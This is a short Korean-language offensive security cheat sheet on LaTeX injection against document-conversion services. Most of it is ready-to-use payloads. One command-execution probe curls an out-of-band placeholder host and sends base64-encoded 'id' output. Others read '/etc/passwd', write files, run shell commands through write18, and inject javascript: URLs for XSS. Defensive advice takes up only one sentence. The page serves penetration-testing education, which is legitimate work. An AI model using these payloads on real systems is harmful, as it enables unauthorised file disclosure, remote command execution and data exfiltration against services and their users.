LaTex Injection
Offensive Security Engineer, Developer and H4cker.
Introduction
LaTex는 TeX 문법을 사용하는 typesetting system 으로 이를 처리하는 시스템에서 TeX 문법을 주입하여 공격자가 원하는 액션을 처리하도록 유도하는 것으로 LaTex Injection이라고 합니다.
TeX는 수학의 수식 등 특수한 형태를 띄는 글자를 쉽게 입력하고 사용하기 위한 문법으로 컴퓨터로 문서 작성을 위해 많이 사용되고 있습니다. 자세한 내용은 wikipedia의 TeX 문법 페이지를 보면 대략 어떤 내용인지 이해가 가능합니다.

Example
\frac{\pi}{2} = \int_{-1}^{1} \sqrt{1-x^2}\ dx

Offensive techniques
Detect
일반적으로 파일 변환 관련 기능에 존재할 가능성이 높습니다. 만약 LaTex를 처리할 수 있는 백엔드 로직이 있거나 의심가는 경우 LaTex 문법 위주로 Requset에 포함하여 반응을 살펴야합니다.
이 때 LaTex Injection 중 RCE 케이스는 OAST를 이용하면 판단할 수 있습니다.
\immediate/write18{curl http://<OAST> -X POST -d a=$(id|base64)}

Exploitation
Read file
\input 이나 \include 로 파을 읽을 수 있습니다.
\input{/etc/passwd}
\include{/etc/passwd}
Read single lined file
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
Read multiple lined file
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
usepackage로 다른 패키지를 로드하고, 해당 기능을 통해 읽을 수도 있습니다.
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
Injection 된 부분이 document header를 지난 경우에는 아래와 같은 방법을 사용할 수 있습니다.
\catcode `\$=12
\catcode `\#=12
\catcode `\_=12
\catcode `\&=12
\input{path_to_script.pl}
Write file
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfile
XSS
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Command execution
\immediate\write18{ifconfig > output}
\input{output}
Defensive techniques
가급적 사용자 입력이 LaTex에 영향을 주지 않도록 서비스를 구성해야하며, 사용자 입력을 사용해야하는 경우 특수문자에 대한 검증이 필요합니다.
Tools
- none
References
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LaTeX%20Injection
- https://tex.stackexchange.com/questions/262625/security-latex-injection-hack
- https://en.wikibooks.org/wiki/LaTeX
- https://en.wikipedia.org/wiki/Help:Displaying_a_formula#LaTeX_basics
- https://github.com/joeraut/latex2image-web